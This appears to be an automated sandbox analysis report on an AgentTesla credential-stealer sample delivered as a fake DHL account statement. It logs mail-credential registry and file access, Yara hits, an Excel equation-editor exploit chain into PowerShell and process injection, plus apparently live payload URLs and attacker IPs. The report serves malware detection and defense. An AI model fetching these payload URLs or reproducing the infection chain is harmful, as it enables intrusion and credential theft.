Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Yara detected Credential Stealer
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.41bb700.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.41bb700.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.479098901.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.616770593.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.485482053.00000000022B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.617260829.0000000002255000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.492812954.0000000002415000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.504664614.00000000022E5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.479192755.0000000002425000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.518863919.0000000003D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.518863919.000000000411B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1904, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 1444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3108, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3200, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3276, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3352, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3436, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected AgentTesla
Source: Yara match File source: 8.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.41bb700.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.powershell.exe.41bb700.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000008.00000002.479098901.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.616770593.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.518863919.0000000003D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.518863919.000000000411B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 1904, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 1444, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: AddInProcess32.exe PID: 3436, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1467966 Sample: DHL ESTADO DE CUENTA - 7664... Startdate: 05/07/2024 Architecture: WINDOWS Score: 100 61 Snort IDS alert for network traffic 2->61 63 Multi AV Scanner detection for domain / URL 2->63 65 Found malware configuration 2->65 67 27 other signatures 2->67 9 EXCEL.EXE 6 9 2->9         started        process3 file4 37 ~$DHL ESTADO DE CU...557687757.xlam.xlsx, data 9->37 dropped 12 EQNEDT32.EXE 12 9->12         started        17 AddInProcess32.exe 12 2 9->17         started        process5 dnsIp6 57 198.46.178.144, 49161, 49164, 49166 AS-COLOCROSSINGUS United States 12->57 39 C:\...\controlfiredatinloverforxlammfile.vbs, Unicode 12->39 dropped 41 controlfiredatinloverforxlammfile[1].vbs, Unicode 12->41 dropped 87 Office equation editor establishes network connection 12->87 89 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 12->89 19 wscript.exe 1 12->19         started        59 ip-api.com 208.95.112.1, 49165, 49168, 49171 TUT-ASUS United States 17->59 91 Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines) 17->91 93 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 17->93 95 Tries to steal Mail credentials (via file / registry access) 17->95 97 Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent) 17->97 file7 signatures8 process9 dnsIp10 43 91.92.254.14, 49162, 80 THEZONEBG Bulgaria 19->43 69 System process connects to network (likely due to code injection or exploit) 19->69 71 Suspicious powershell command line found 19->71 73 Wscript starts Powershell (via cmd or directly) 19->73 75 4 other signatures 19->75 23 powershell.exe 12 5 19->23         started        signatures11 process12 dnsIp13 45 91.92.254.194, 49163, 49167, 49170 THEZONEBG Bulgaria 23->45 77 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 23->77 79 Writes to foreign memory regions 23->79 81 Injects a PE file into a foreign processes 23->81 27 AddInProcess32.exe 23->27         started        31 AddInProcess32.exe 2 23->31         started        33 AddInProcess32.exe 2 23->33         started        35 3 other processes 23->35 signatures14 process15 dnsIp16 47 ip-api.com 27->47 83 Tries to steal Mail credentials (via file / registry access) 27->83 85 Tries to harvest and steal browser information (history, passwords, etc) 27->85 49 ip-api.com 31->49 51 ip-api.com 33->51 53 ip-api.com 35->53 55 ip-api.com 35->55 signatures17
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
208.95.112.1
 ip-api.com United States
53334 TUT-ASUS true
198.46.178.144
 unknown United States
36352 AS-COLOCROSSINGUS true
91.92.254.14
 unknown Bulgaria
34368 THEZONEBG true
91.92.254.194
 unknown Bulgaria
34368 THEZONEBG true

Contacted Domains

Name IP Active
ip-api.com 208.95.112.1 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://91.92.254.194/imge/new-image_v.jpg true
  • 1%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://198.46.178.144/madamwebbbbbbbas6444.txt true
  • 13%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://198.46.178.144/controlfirebase65.txt true
  • 18%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://198.46.178.144/controlfiredatinloverforxlammfile.vbs true
  • Avira URL Cloud: safe
 unknown
http://ip-api.com/line/?fields=hosting false
  • URL Reputation: safe
 unknown